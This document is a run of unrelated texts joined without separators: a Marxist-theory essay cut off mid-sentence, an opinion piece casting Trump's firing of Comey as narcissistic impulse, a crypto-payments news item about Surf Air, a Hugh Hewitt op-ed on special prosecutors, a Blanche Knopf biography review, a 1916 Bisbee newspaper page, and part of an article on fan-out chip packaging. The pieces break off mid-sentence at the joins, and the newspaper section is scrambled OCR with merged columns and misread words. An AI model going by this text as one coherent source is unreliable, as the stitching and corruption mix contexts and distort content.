Marx and Engels’s wholesale condemnation of all previous socialism as utopian fantasy is the fundamental innovation of their own work. It is the basis of their claim to be taken seriously, not merely by Hoffmanesque daydreamers, but by men of practical judgment and shrewd common sense. To fail to make this distinction, or to fail to stay on the right side of this distinction once it has been made, is to cease to be a Marxist and to fall back into mere Träumerei.
This demarcation line arose because Marx believed that he had grasped something that no previous utopian socialist had even suspected. He believed that he had shown that socialism was inevitable and that it would come about through certain ironclad laws of history — laws that Marx believed were revealed through the study of the very nature of capitalism. Socialism, in short, would not come about because a handful of daydreamers had wished for it, or because pious moralists had urged it, but because the unavoidable breakdown of the capitalist system would force the turn to socialism upon those societies that, prior to this breakdown, had been organized along capitalist lines.
Schematically the scenario went something like this:
• The capitalists would begin to suffer from a falling rate of profit.
• The workers would therefore be “immiserized”; they would become poorer as the capitalists struggled to keep their own heads above water.
• The poverty of the workers would drive them to overthrow the capitalist system — their poverty, not their ideals.
What is interesting here is that, once you accept the initial premise about the falling rate of profit, the rest does indeed follow realistically. Now, this does not mean that it follows necessarily or according to an ironclad scientific law; but it certainly conveys what any reasonable person would take as the most probable outcome of a hypothetical failure of capitalism.
For Marx it is absolutely essential that revolutionary activities be justifiable on realistic premises. If they cannot be, then they are actions that cannot possibly have a real political objective — and therefore, their only value can be the private emotional or spiritual satisfaction of the people carrying out this pseudo-political action.
So in order for revolutionary activity to have a chance of succeeding, there is an unavoidable precondition: The workers must have become much poorer over time. Furthermore, there had to be not merely an increase of poverty, but a conviction on the part of the workers that their material circumstances would only get worse, and not better — and this would require genuine misery.
This is the immiserization thesis of Marx. And it is central to revolutionary Marxism, since if capitalism produces no widespread misery, then it also produces no fatal internal contradiction: If everyone is getting better off through capitalism, who will dream of struggling to overthrow it? Only genuine misery on the part of |
sorry, among the bushes).
The thing is, the answer is pretty obvious. The implications are terrifying, but the motivations are not complicated.
Trump did it because he was mad.
He was mad that people on his TV keep talking about the Russia investigation. He was mad Comey didn’t back him up on his ludicrous claims that President Obama wiretapped Trump Tower, even when people on his TV were criticizing him for it. He was mad Comey hasn’t been more loyal, convinced Comey was to blame for his bad ratings. So he fired Comey.
That’s the picture the Washington Post paints (with 30 sources!), as well as Politico. But it remains extremely difficult to accept or internalize.
Why is it so hard to accept that Trump is acting out of pique, on impulse, because Comey on his TV gave him bad feels?
In child psychology, “theory of mind” refers to a basic capacity humans develop around the age of 2 or 3 to recognize that other people are independent agents, distinct minds, with their own beliefs, desires, fears, etc. We learn to “read” behaviors as evidence of those internal states.
And because we are relentless pattern seekers, we are constantly developing theories of people, seeking to explain what they do through reference to their beliefs and plans.
This has badly misled us with Trump. Much of the dialogue around him, the journalism and analysis, even the statements of his own surrogates, amounts to a desperate attempt to construct a Theory of Trump, to explain what he does and says through some story about his long-term goals and beliefs.
We badly want to understand Trump, to grasp him. It might give us some sense of control, or at least an ability to predict what he will do next.
But what if there’s nothing to understand? What if there’s no there there? What if our attempts to explain Trump have failed not because we haven’t hit on the right one, but because we are, theory-of-mind-wise, overinterpreting the text?
In short, what if Trump is exactly as he appears: a hopeless narcissist with the attention span of a fruit fly, unable to maintain consistent beliefs or commitments from moment to moment, acting on base instinct, entirely situationally, to bolster his terrifyingly fragile ego.
We’re not really prepared to deal with that.
Trump’s dysfunction
There is clearly something wrong with Trump. But exactly what he is — or, if you prefer to medicalize it, what he has — is a matter of some controversy.
In a recent Rolling Stone article, Alex Morris explores the battle within the field of psychiatry over whether to diagnose Trump at a distance. (Vox’s own Brian Resnick also has a great piece on it.)
The nub of the disagreement comes down to whether Trump has a disorder.
There are nine traits used to identify narcissistic personality disorder (things like “requires excessive admiration” and “has a grandiose sense of self-importance”). Fitting five or more is considered sufficient for diagnosis. All nine describe Trump’s public behavior with eerie accuracy.
But a disorder, by definition, inhibits normal functioning, impedes success. And Trump is inarguably successful. He’s one of the most powerful people in the world. Whatever kind of personality he may have, some psychiatrists argue, he can’t have a disorder. He’s doing well for himself.
Whether you see this as evidence of Trump’s fitness or evidence of the power of inherited wealth in America, I’m not sure it makes much difference from a citizen’s point of view. Whether or not Trump has NPD, he clearly has the NP part.
Like all extreme narcissists, he feels a gnawing sense of inadequacy and thus requires constant adulation, admiration, and reinforcement for his oversize, hypersensitive ego. Like all extreme narcissists, he is exquisitely attuned to offense, to any hint of being the dominated party or the loser, and incredibly vengeful when he feels he’s been crossed (which is frequently).
Like all extreme narcissists, he sees every interaction, every situation, as a zero-sum contest in which there will be winners and losers. Like all extreme narcissists, he is prone to building a fantasy world in which he is always on top, always the winner. And like all extreme narcissists, he sees other people only through the lens of how they reflect or affect him.
But Trump is not merely a narcissist. There are other things going on.
Many narcissists are quite well-regulated. Using other people to one’s advantage takes not only in-the-moment charm but an ability to think ahead, as in a game of chess. Succeeding requires fooling other people, and fooling other people requires an ability to hold a complex social map in one’s head, to sustain a consistent performance over time.
Trump does have some crude cunning to manipulate people in the moment. He can sense what they want and what will elicit their approval.
But he lacks any ability to hold beliefs, commitments, or even deceptions in his head across contexts. (On Twitter, I compared him to a goldfish.) He is utterly unable to step back and put his gut emotions in larger perspective, to see himself as a person among people, in social contexts that demand some adaptation. He is impatient with attempts to influence him to take a larger view — he demands one-page memos, for instance.
Matt Yglesias says that Trump lies all the time. And it’s certainly true that he says false things all the time. But even to say “lie” seems to suggest a certain self-awareness, an ability to distinguish performance from reality, that Trump shows no signs of possessing.
Trump does have consistent attitudes, and that has given his actions some consistency. Above all, he is utterly terrified of, and hostile to, weakness.
Fear of weakness helps explain why Trump mocked John McCain for being taken prisoner, why he mocked a disabled reporter, why he’s been so consistently racist. Somewhere in his reptile brain, he views being captured, disabled, or persecuted as weakness, as being dominated.
It also explains his fondness for autocratic strongmen — the ones who dominate.
But these attitudes, these instincts, do not seem to yield persistent beliefs or principles. Trump is highly attuned to dominance and submission in the moment, but each moment is a new moment, unconstrained by prior commitments, statements, or actions.
Trump defies our theory of mind because he appears to lack a coherent, persistent self or worldview. He is a raging fire of need, protected and shaped by a lifetime of entitlement, with the emotional maturity and attention span of a 6-year-old, utterly unaware of the long-term implications of his actions.
Grappling with the truth of Trump
We are not accustomed to having someone so obviously disordered in a position of such power. Trump is surrounded by people — not only members of his administration but Congress, the press, pundits, conservative ideological groups, industry lobbyists — eager to invent stories to make sense of his behavior.
Politicos and journalists need a story in which Trump’s stumbling and grasping can be construed as a savvy media strategy, a “distraction” from some other wrongdoing he has going on, or a “pivot” from his current omnishambles. Those are all versions of political maneuvering with which they are familiar. They need for Trump to want things, to be after things, to have a plan.
Politicians, journalists, analysts, the public — everyone wants some kind of story, some Theory of Trump. And so Trump surrogates try to provide it, scrambling to weave a coherent narrative around his careening, erratic lies.
But there’s no there there. He’s lunging this way and that, situation by situation. Firing Comey? Trump just got mad. He wanted Comey and the Russia investigation off his TV. There’s no deeper story than that.
This is an utterly terrifying conclusion. A Machiavellian Trump — one who was merely acting the fool, manipulating the public and media in service of some diabolical long-term agenda — is less frightening than a purely narcissistic and impulsive one.
No agenda guides him, no past commitments or statements restrain him, so no one, not even his closest allies (much less the American public or foreign governments) can trust him, even for a second. He will do what makes him feel dominant and respected, in the moment, with no consideration of anything else, not because he has chosen to reject other considerations, but because he is, by all appearances, incapable of considering them.
This makes him, as many others have noted, extremely vulnerable to being manipulated by whoever happens to talk to him last, whoever butters him up and makes him feel important. (And that includes the TV.)
It’s one thing when that involves a wild Twitter accusation or the firing of a staff member. All Trump’s crises so far have been internal and self-inflicted, more or less.
But what will happen when he gets into a confrontation with North Korea, when Kim Jong Un deliberately provokes him? Will his response be considered and strategic? Will he be able to get information and aid from allies? Will he be able to make and keep commitments during negotiations?
There’s no sign of hope for any of that.
More likely he will prove, as he has in literally every confrontation of the past several years, congenitally unable to back down or deescalate, even if doing so is clearly in everyone’s best interests.
More likely he will be desperate to maintain face and will listen to whatever his security staff whispers in his ear.
More likely he will make rash and fateful decisions with insufficient consultation and no clear plan.
That’s who he is: a disregulated bundle of impulses, being manipulated by a cast of crooks and incompetents, supported by a Republican Party willing to bet the stability of the country against upper-income tax cuts. We need to stop looking for a more complicated story.As the mainstream-globalization train is hitting hard the cryptocurrency ecosystem and its number of users is growing everyday, an airline is drafting out a plan to give the opportunity costumers to use BTC or ETH as a payment option.
Bitcoin and other cryptocurrencies may currently be mostly used for investment purposes, but they can also be used to buy services and goods. Many companies want to attract more customers through innovative measures. One of these measures is allowing customers to pay with their favorite cryptocurrencies. Services like Bitpay, Coinbase, and Shopify have made it very easy for online-retailers to adopt this new payment method.
The most notable example of retail adoption is the e-commerce store Overstock, which is currently experimenting with various cryptocurrencies and blockchain technologies.
On the other hand – the gaming giant online store Steam declared that the termination of BTC acceptance will come because of its high transaction fees and price volatility.
For anybody that does not prefer commercial flights and does like privacy, there is on private jet airline called Surf Air based in Silicon Valley which will be opening doors to booking your own private jet using cryptocurrency – according to Flying Mag and BusinessInsider.
The CEO of Surf Air Europe – Simon Talling-Smith stated out:
“Surf Air was built on the idea of disrupting and changing the way the world sources, purchases and accesses air travel so it only makes sense that we would be on the cutting edge of accepting new forms of payment such as bitcoin and ethereum. This comes ahead of our inaugural flight from London City Airport that will transform the business travel experience for our European membership base.”
As the price of Bitcoin and Ethereum is steadily rising, perhaps more and more cryptocurrency users will be able to afford the services that Surf Air is offering.The most famous special prosecutor remains the first one: Archibald Cox of Watergate fame. After Cox got sideways with President Richard Nixon in 1973, the president ordered Cox fired, which led to the “Saturday Night Massacre” and then to Leon Jaworski, and then to … well, you remember.
Now, though, Democrats are lined up demanding a special prosecutor into Russia’s interference with our election. They may have visions of Cox and Jaworski dancing in their heads, but they should be careful what they wish for. Democrats assume only Republican oxen will get gored by a special prosecutor, but the record suggests they would get caught up, too.
After Watergate, Congress got into the “special prosecutors” business, passing the Ethics in Government Act of 1978 to create the office of the independent counsel. But Capitol Hill soon found that special prosecutors’ investigations tend to expand beyond their original brief. After more than a dozen wild rides that included Lawrence Walsh’s endless inquiry into Iran-contra and Ken Starr’s work that began with Whitewater and later metastasized into Monica-land, Congress let the office and its procedures to lapse in 1999. There is no “law” governing special prosecutors today despite what you may have heard some elected officials say on air in recent weeks. The attorney general can name a special prosecutor if he wants (or the deputy attorney general if Jeff Sessions’ recusal extends to even considering whether a special prosecutor is needed). But if either Sessions or Rod Rosenstein, Trump’s nominee for deputy attorney general, declares the need for a special prosecutor, the key will be: What is the “scope of the investigation” with which the special prosecutor is charged?
Republicans routinely demanded special prosecutors in the era of President Barack Obama and Attorneys General Eric Holder and Loretta Lynch. There were calls for one to investigate Hillary Clinton’s private e-mail server, the Internal Revenue Service’s alleged abuse of power regarding Tea Party-named groups, and the “gun walking” scandal known as Fast and Furious. But there were no special prosecutors appointed during the Obama years. The Democrats knew better than to set a seasoned prosecutor with subpoena power loose when political intrigue is afoot.
So I would sound a note of caution to Democrats pounding the lectern for a special prosecutor. Still, if one is to be appointed to look into the election of 2016 and all illegal activity surrounding it, I am in favor of going for the cathartic approach and putting everything on the table.
Let’s be clear: It seems obvious that Russia did in fact meddle with our process and used WikiLeaks to do so. I and other conservatives said as much repeatedly during the election. And if any American cooperated with that “active measures” campaign against us, he, she or they should be prosecuted under the appropriate espionage statutes.
But any special prosecutor appointed to look into the alleged “Russian connection” should also be given a scope of inquiry that includes the handing of the investigation into Clinton’s server, the slow-walking of document delivery to the Congress and the courts concerning Clinton’s administration of the State Department as well as alleged Obama administration leaks of classified information from the first campaign debate forward. I think the abuses at the IRS clearly have a nexus to shenanigans in 2016, so you can even add that to the list of appropriate subjects for the special prosecutor. (Everything is alleged, including Team Trump ties to Russia, until proven or abandoned.)
Of course that special prosecutor will have to look at every application for surveillance, in connection with either candidate for the presidency made to the Foreign Intelligence Surveillance Court under the Foreign Intelligence Surveillance Act. Long ago I reviewed those applications from the FBI’s counterintelligence pros before they went to the attorney general. Their contents are detailed and usually lengthy, and very classified, and so the new special prosecutor and his or her staff are going to need full FBI background investigations, which argues for a former prosecutor and/or a former federal judge who has already undergone the arduous process of clearance background investigations. That person will also need a reputation as a straight shooter, because when he or she begins to get close to touching Democratic nerves the “politics of personal destruction” will return with a vengeance.
It’s certainly possible to find the right person for the job. Back when the independent counsel statute was in effect, I served for a year as clerk to the special panel of three judges who selected the counsel (because my judge, George MacKinnon, was the chair of the panel). When choosing an independent counsel to investigate allegations against Attorney General-designate Edwin Meese (allegations eventually proved false and cleared before Meese’s confirmation), the judges debated how to find a lawyer who would move quickly and who would not fall in love with the spotlight. They succeeded when they selected Jacob Stein, who moved efficiently to an end product.
But the point is that special prosecutors are immune from any constraint. You may get a Stein, or you may get a Walsh. Either way, special prosecutors go where they want and when they want. Buyers beware.
If Sessions or Rosenstein decide on a special prosecutor, every big newspaper and network is going to have to assign a few reporters to a new beat — one we ought to brand with hashtag #PutinsBigWin to describe its impact.
The new president isn’t going to unleash the hounds on just his campaign. If the hunt is to be had, everyone connected to the election is the fox. The old KGB colonel at the top of the Kremlin must be smiling indeed. His campaign against the legitimacy of everyone and everything in American politics is bearing fruit every day.
Hugh Hewitt hosts a nationally syndicated radio show and is the author of the forthcoming “The Fourth Way: The Conservative Playbook for a Lasting GOP Majority.”
To send a letter to the editor about this article, submit online or check out our guidelines for how to submit by e-mail or mail.As a child, Blanche Wolf wanted more than anything to live a life surrounded by books. Born in 1894, and raised in Manhattan by well-to-do parents, her love of reading and culture set her apart from her family and their upwardly-mobile, secular, and socially-constrained Jewish community. When she met Alfred Knopf in 1911, she was attracted most of all to his bookishness—which, one suspects, he might have played up in order to win over the pretty redhead, underestimating how serious she was about it. Her dream life was simple, heartbreakingly so: “We decided we would get married and make books and publish them.” How could she have known that the hardest part of that dream was the “we”?
When the house of Knopf launched in 1915, publishing was a gentleman’s pursuit—amateur, clubbish, WASP, and above all, male. Blanche and Alfred navigated this casually anti-Semitic world, holding themselves aloof from their alcoholic, philandering competitor, the “pushy Jew” Horace Liveright, founder of the Modern Library and publisher of T. S. Eliot’s The Waste Land. Over the years there would be female secretaries, copywriters, reviewers, and editors at Knopf. There would be women in charge of little magazines and the children’s-book divisions of big publishers. But there would be no other woman in the publishing industry with the status of Blanche Knopf—either in the 1920s, when she signed Langston Hughes and Willa Cather, or in the 1950s, when she celebrated Albert Camus’s Nobel prize and oversaw the translation of Simone de Beauvoir’s The Second Sex. And despite it all, although her husband swore he’d put her name on the masthead, he never did.
THE LADY WITH THE BORZOI: BLANCHE KNOPF, LITERARY TASTEMAKER EXTRAORDINARE Farrar, Straus and Giroux, 400 pp, $30
Alfred considered Blanche “much more intuitive in her judgements” than he was, a description that condescendingly implies a woman’s touch. Easier to believe it was instinct, rather than intelligence, that allowed his wife to discern the quality of Harlem Renaissance poets and hardboiled detective fiction, of French avant-garde playwrights and political journalists alike. But he was happy enough to capitalize on the quality she brought in. From the beginning, Alfred wanted the Knopf name to be a marker of cachet; the Borzoi that became their company logo was a nod to the Russian literature on which they built their reputation. As the company treasurer Joe Lesser put it, “He wanted writers who considered Knopf superior to other houses, pure and simple.” In her biography, Laura Claridge builds a compelling case that it was Blanche, far more than Alfred, who was responsible for that superiority, who pursued and persuaded writers to sign on—often for low salaries and pitiful advances—for the sake of the firm’s reputation and for her own devoted personal attention.
Yet despite Claridge’s determination to restore Blanche to the heart of the Knopf reputation, we don’t come away from the book with a strong sense of how she made her judgements—we don’t get to see her intelligence at work, or to read her commentary on new authors or her arguments in favor of one or another. Many writers came to Knopf through unofficial scouts—including journalist and satirist H.L. Mencken, and Carl Van Vechten, photographer, novelist, and white ambassador to the Harlem Renaissance. It was Van Vechten who squired Blanche to uptown jazz clubs, introducing her to Langston Hughes, acting as confidant and gossip, and opening her eyes to the rule-breaking, wife-swapping, and race-mixing that defined “modern” culture in 1920s New York. Claridge even borrows the label “tastemaker,” bestowed on Van Vechten by his recent biographer Edward White, for Blanche. (The book’s subtitle is “Literary Tastemaker Extraordinaire.”) That slogan is a sign that Claridge hasn’t quite found the story in her biography, but pieces of several: the Knopfs’ fraught marriage and Blanche’s search for affection; her pursuit of talent and nurturing of authors; Knopf’s place in the publishing landscape; the pressures on the business from money and politics; the relationship between the American and European literary worlds. Threads of all of these narratives are picked up and dropped, but never quite woven together.Newspaper Page Text
MARKETS
NEW YORK CITY
Average copper price
week ending Feb. 2
25.23!
WEATHER
Arizona Fair,,
MEM8CR ASSOCIATED PRESS
VOL 18. NO. 218.
BISBEE, ARIZONA, TUESDAY MORNING, FEBRUARY 8, 1916.
PRICE FIVE CENTS.
V
APPROVAL OF
WILSON IS
NOT YET
GIVEN
'
NAUGHTY! NAUGHTY! I
Strong Effort Expected to De
feat Reduction of Indemnity
to Colombia from $25,000,-
0C0 to $15,000,000.
i
SENATOR SMITH AD
VOCATES REDUCTION
SAN FRANCISCO. Feb. 7.
Immoral carvings on a Burmese
totem pole brought here by the
Rev. John Cope, as a present for
the Rev. E. J. East of Oakland,
both missionaries, were freed of
sinfulness by means of a chisel
handled by customs officials.
Rev. George Burlingame, rep
resenting Cope, and now return
ing to his home in Portland,
Oregon, quickly agreed to the
censorship when he Raw the
pole. When pruned to propriety
the pole will be delivered to its
missionary owner who has not
yet seen it.
Senator Eorah Seeks to Over
throw Precedent and Con
sider Nicaraguan Treaty in
Open Senate.
WASHINGTON', Feb. 7. Approval
has not been Riven by President and
the Democratic Senate is by no means
in favor of amendments to the Col
ombian treaty reported last week by
the Senate Foreign Relations Com
mittee. It'developed hat a strong
effort probably will be made in the
Senate to defeat changes which will
reduce the proposed indemnity to the
Colombia for the partition of the
Panama from $25,000,000 to $15,000,
000 and to revise the wording of the
expression of regret.
Minister Eetancourt, of Colombia
called on Secretary Lansing during
the day and was assured that the
President had not given his approval
to either of the amendments. Later
It became known that many Demo
crats on the Foreign Relations Com
mittee had passed on the changes.
Republican Senator Smith of Michi
' gan by changing his.vote on the tie
in the committee carried the amend
ment reducing thj indemnity by $10.
000,000. Tomarrow Senator Stone,
chairman of the Foreign Relations
Committee plans to call ip the Nica
raguan three.million bill providing
acquirement of an option on the
Nicaraguan canal route 'and naval
base on Fonseca Bay.
"I voted against the Colombian
amendment first," said Smith, "be
cause I was opposed to the treaty. I
opposed the United States paying a
dollar to Colombia. When I saw bow
close the committee stood on the
issue, I concluded that $15,000,000 was
$10,000,000 less than $25,000,000 and
changed my vote. I am glad because
I see It started a row." Senator Borah
proposed to move that the Nicaraguan
treaty be considered in open Senate.)
Administration leaders are opposed to
the precedent of discussing treaties in
executive session.
IS
10 LEE THE
CAB NET
London Newspaper Authority
for the Statement that Pre
sent Secretary of War will
Take more Important Post
CIVILIAN WOULD THEN
BECOME HEAD OF ARMY!
GEN. PEREZ EXECUTED.
PRESIDIO, Feb. 7. General Perez,
a de facto government officer, charged
with deserting the Ojinaga garrison
and endeavoring to join a1 Villa band,
was executed at Mesquite by the de
facto government soldiers, according
to advices here.
Perei escaped with five soldiers.
One of the soldiers was ordered back
by Perez to cut the wires and reported
the desertions The capture of Perei
followed.-
$64 PER ACRE.
PHOENIX, Feb. 7. Farmers living
on tracts ambraced in the Salt River
Valley Irrigation Project will be re
quired to pay $64 an acre toward the
project's cost, according to estimates
of the central cost review board ap
pointed by Secretary Lane. One hun
dred and seventy two thousand acres
are subject to the payments.
CHINESE CAPTURED.
LOS ANGELES. Feb. 7. After an
automobile chase of 100 miles the Im
migration officials apprehended two
white men and four Chinese. The
latter are said to have been smuggled
into the United States from Mexico.
The chase exended from Chula Vista,
fifteen miles south of San Diego, to
Temacula. The sextet was captured
when their auto mired in the roads.
CALIFORNIA FILES SUIT.
SANTA BARBARA, Feb. 7. The
state of California filed suit In the
superior court under the antialien
land law to nullify the title of Gin
Fook Bin. a subject of the Chinese
republic, to property In the local
China-town valued at $18,000. Thts
is the first action. by the state under
the law that caused an international
discussion when before the legisla
ture and threatened to lead to a mis
understanding between the United
States and Japan.
I Ar;fff wJrk Ft.!
ception of French Artillery
Bombardments. Kiel Fears
Attack by Aeroplanes.
LONDON, Feb. 7. Except in
France and Belgium little fighting
is reported in the war zone. Par.
is tells of the bombardment of
German positions In Belgium and
the destruction of a German block
house between Oise and Aisne and
effective work by French batteries
in the Aatois and Champaign re
gions. The French shell at Artois
caused powerful explosion north
east of Arras and a great fire near
Challergane. German artillery has
been busy against the British a
round Loos, and the British bomb
arded the German trenches near
the Ypres-Roulers railway.
Vienna report the situation un
changed on the Austrian front.
There are no development con
cerning the reported concentration
of the Teutons in the region of he
Greek border. The Copenhagen
dispatch Indicated the authorities
?t Kiel were fearful of an air raid
Thepopulace has been notified
that a steamer siren would give an
abundance of notice.
A London newspaper is authority
for the statement that Secretary
of War Kjtchener will probabl
leave the War Office to Undertake '
work of a more important charac
ter. Should Kitchener leave, the,
newspaper adds, Sir William Rob-'
ertson, chief of staff, wlil actively
. direct the war. Thus a civilian
would become secretary of war.
Prince Oscar, the fifth son of
the Kaiser, has been wounded a.
second time.'' '
SLINGSBY SUIT. ARGUMENTS.
LONDON. Feb.. 7. The hearing in
the Slingsby elgitimacy suit were con
cluded in the Court of Appeals. Judg
ment was reserved...The Arguments
have been in progress since January
17. The case involves the question
of whether the infant born in'San
Francisco and declared to be the faw
ful son of Charles Klingsby and' bis
wife, is the rightful successor.to the
Slingsby estates in England. A California-court
held, the child to be the
legitimate heir.
OFF VIRGINIA CAPES.
NEWPORT NEWS. Feb. 7. British
shipmasters reported that two of the
allies cruisers, one British and the
other French, are patrolling off the
Virginia Capes. Since there Is- no
probability of the German prize
Appam would put to sea in the near
future marine men take the presence
of the warships to mean that the al
lied governments expect other prizes,
captured by the mysterious German
raider, to be brought to Hampton
Roads. Collector Hamilton said he
had received no word from Washing
ton concerning the status of the Appam.
Hopis and Navajo Indians Threatening to Go On
Warpath and Massacre Whites at Tuba
Many Americans in Northeastern Arizona Fear a General Uprising Among Indians. Trouble
Fomented by the Killing of An Indian at Lees Ferry When He Resisted a Peace
Officer. United Stat es Marshals May Go to the Res ervation to 'Investi
gate the Trouble. Few Details to be Had.
FLAGSTAFF, Feb. 7. In-Wans of lha Navajo Reservation in Arizona- are Threatening to kill all the
white inhabitants of Tuba and burn the goveiiimeut buildings, according to William Dubree, superintend
ent of construction of the Indian school at Tuba.
Dubree said the whites ar Tuba have a small amount of guns and ammunition. The Indians began to
foment trouble January 26 when one of their number was killed by a police officer, alter the Indian resist
ed the police. Some of the Piutes who went on the warpath at BlufT, I'tah, a year ago also began agl-,
tating a disturbance among the Piutes. ( ;
PHOENIX. Feb. 7. Five thousand residents of the northeastern portion of Arizona are alarmed over
( the Hopis tribe of the Navajo Indians threatening to go on the'war path." according to information re
" ceived tonight. Approximately twenty five thousand Indians are living on the reservation but it is not known
what proportion i them is involved in the threatened uprising.
The Hopis became angered, it Is said, when one of them was killed several days ago by the police. The.
Indian opened fire when the officers attempted to arrest him and was killed by one of the officers a mom
ent later, according to 'Information received by Thonia3 Flynn, United States district attorney.
The shooting occured near Lees Ferry, a crossing on the Grand Canyon, about fifty miles south of the
Arizona-Utah boundary. Word of the threatened trouble- was first brought to Flagstaff by an Indian runner.
Although instructions from United States authorities at Washington are being awaited by local " officials,
before taking any action, a number of deputy United States marshals are preparing to make the journey to
the reservation to investigate the reports. Efforts ane being made to have a troop of cavalry from El Paso
accompany the marshals, it is said. -.
ESCAPES TO ARIZONA.
NACO, Arizona, Feb. 7. Ci
ccnio I-ares, rbout noon today.
sht and killed mother Mexican
on the Sonora side of the Inter-'
national side l the boundary.
Instead of attempting to escape
by going into the San Jo
mountains the i:iuu jumped upon
a horse ami crossed the boun
dary and his present where
abouts' are unknown.''
The American officers nV
along the border have been no
tified to look out for the Mexi
can. It is said Lares has rela
tives in Douglas and may have
attempted to reach that place.
D
0
ARK
UNITES fflffl
i WHAT WILL CARRANZA DO CATHOLIC CnURCH IN MEXICO?
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HARlfftRD HAS
CQLLISIOn
Coast Passenger Steamer, with
OPPONEHT
niiti
House Sees Speaker and Mi
nority Leader Side by Side
in Effort to Secure Adequate
National Defense.
MAJORITY LEADER
KITCHIN OPPOSED
"Time for All to Join Hands
for that Which May Come,"
Mann Declares; Uncle Joe
Cannon Creates a Stir.
WASHINGTON. Feb. 7. Speaker
Clark and Republican Leader Mann
i fought side by side in the House for
t)-li.A.
m t r r 1 "-'i" '
many on OOara, Rams ana were obliterated and most members
Sinks Steam Schooner, Ex-'followed their leaders. The tw0 navy
celaior'in Fop'' measures passed without a dissenting
' v. rt :.1. v..
vote.
Of
-it7 tt?t t-tji To tit"'three hundred midshipmen to the en
ONE 21 IS2.VSHI I taring clas, at Annapolis in July. The
I U I1AV L. UKUVYlLU
Heavy Mist Hinders the Work!
other is to equip navy yards for con
struction of battleships forty-three and
forty-four. Mann tried to put anti-
of Rescue Launches. Pas-: -reparedna x1 n Tori
p.... I j calling for a decision on the naval bill.
T...V f lav"to"Jr There mere no negative responses.
The appearance of Clark on the floor
championing preparedness measures
aroused interest. Rumors persisted
I that Clark would take charge of the
I fight to increase the army and nary,
majority leader Kitchin having joined
j the opposition. The unusual sight of
,the Speaker and minority leader bat
: tling together for Administration
Uninjured in Mishap.
SAN FRANCISCO, Feb. 7. The
Steamer Harvard, with many pas
sengers aboard, rammed the steam
schooner Excelsior inside of San
Francisco Bay. Twenty-one of her
a crew were landed when it sank.
One of the crew is said to be miss
ing. The Harvard was standing
by, not seriously damaged.
The Excelsior sank. The steel '
, prow of the Harvard cut into the
Excelsior's engine room. The
chief engineer' of the Excelsior
was painfully burned by escaping
steam. The fireman and night
watchman were also scalded.
The submerged Excelsior, with
only its smokestack and masts
visible, floated off on the tide.
Tugs were sent to find the dere
' lict and it is expected they will
have a long search as a heavy fog
blanketed the bay. The Excelsior
wss a wooden vessel. It was built
in 1893.
Top, General Carranza and the Holy Metropolitan church, Mexico City; bottom. Quints Carolina at Cnihuahaa.
The Catholic church was bitterly opposed to the recognition of Carranza, because it claimed that he had
persecuted priests and nuns and confiscated its property. The question now arises: Will Carranza continue
hostile and carry out his repeated threats to drive the Catholic clergy from Mexico? His attitude toward
other church has been friendly.
FOUR RELEASED
FftDM FEDERAL i
: PRISON ji
: NO ULTIMATUM. j J
I jiWonutarth Doors Ocen I Jn-
'6n Those Convicted of Elec-:
tion Frauds in Indiana City!
Elections. '
LONDON, Feb. 7. The gov
ernment1 received definite Infor
mation that there was no foun
dation to the report that the
Central Powers had delivered an
ultimatum, to Rumania.
BUTTLE TO SAVE
LEAVENWORTH. Feb. 7. Edwards
Holler, Alexander Aczell, Charles j
Hougnton, Joseph O'Mara, Geo. Sov-j
ern, former city officials of Terre
Haute and Indianapolis, convicted in
the election conspiracy cases, were re-1
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interposer. It performs electrically better than an interposer.”
The package has four metal layers with 2-2.5µm, although ASE is working on new versions. “We’ve demonstrated 1.5-1.5µm,” he said.
The next step is to move to 1-1µm and beyond, which presents some challenges. Clearly, customers want high-end fan-out packages that meet or exceed the performance of 2.5D at a reasonable price. “Package size is also a challenge since the comfort zone demonstrated for fan-out is still quite small,” Yole’s Azémar said. “Overall, it’s unclear if fan-out will make it in terms of reliability and cost at such high connection densities and package sizes. We will know in one or two years.”
To be sure, though, compared to the current flows, fan-out at 1-1µm and beyond will require different processes and equipment, especially to develop the RDLs.
There are several ways to fabricate the RDLs. The most common and least expensive method is a polymer-based flow. Another method, dubbed the damascene process, is another way to deposit the copper traces in the RDLs.
Fig. 6: A common RDL flow. Source: Chipbond
“If you go down to 2-2µm, we may need a copper damascene or damascene-like process. Even with TSV 2.5D interposers, you need a copper damascene process for 1µm line/space. It’s a different approach from the current wafer-level process,” STATS ChipPAC’s Yoon said.
The biggest and most critical change involves lithography. “The tool needs to be upgraded to meet the requirements,” Yoon said. “Currently, we are using a stepper, which is a broadband source. When you go to finer lines and spaces below 2-2µm, you need i-line.”
It also requires new materials. “We also have to use a different grade of photoresist to make fine linewidth spacing,” he said. “So, the process needs a different litho tool, inspection tool as well as different photoresist materials. I also expect that RDL structure would be a damascene type.”
What is lithography?
Lithography—the art of patterning tiny features on structures—is used in both the fab and packaging house. In the fab, the tools process features at the nanoscale. Meanwhile, in packaging, lithography and other tools are used to process bumps, copper pillars, RDL and TSVs. These structures are measured at the μm level.
Fig. 7: Fan-out equipment and materials forecast. Source: Yole Developpement
In packaging, there are four main lithography equipment types—mask aligners, projection (steppers/scanners), direct imaging, and laser ablation. Mask aligners and steppers are the most common tools, while the other technologies present a threat to the conventional systems.
Used in the industry for years, the mask aligner is the least expensive tool. EV Group and Suss are the main players in the mask aligner business.
In a mask aligner, a wafer moves into the tool. Then, a mask with a set pattern is inserted into the system. The mask is aligned with the wafer and is then exposed with light, forming a pattern on the surface at a 1:1 scale.
Mask aligners are used for processing features at 5-5μm and above, although 3-3μm is possible. “Right now, most people are on 12-12μm or 7-7μm, and are approaching 5-5μm,” said Thomas Uhrmann, director of business development at EV Group. “If you think about eWLB, you can do everything with mask aligners to a big extent.”
Aligners have some limitations, but they are cost effective solutions. “If you want to move into production at 5-5μm or less than 5-5μm line and space, the mask aligner is still perfectly feasible with a superior cost point,” Uhrmann said.
For finer lines and spaces, though, packaging houses use steppers. Ultratech, the leading supplier in the lithography packaging business, sells 1X steppers and other equipment. Other stepper suppliers include Canon, Nikon, ORC, SMEE, Rudolph and Ushio. Recently, Kulicke & Soffa entered the fray by acquiring Liteq, a packaging lithography startup.
A stepper transfers the image of a feature from a mask onto a small portion of the wafer. The process is repeated until the wafer is processed. Some systems process a feature at a scale of 1:1 or 1X. Meanwhile, a reduction stepper images a feature at 2X, 4X or 5X.
A stepper uses different exposure wavelengths to pattern an image. For mainstream applications, packaging houses use traditional steppers that combine several different wavelengths—g, h and i. Generally, this broadband technology is used for patterning at or around 2-2μm and above.
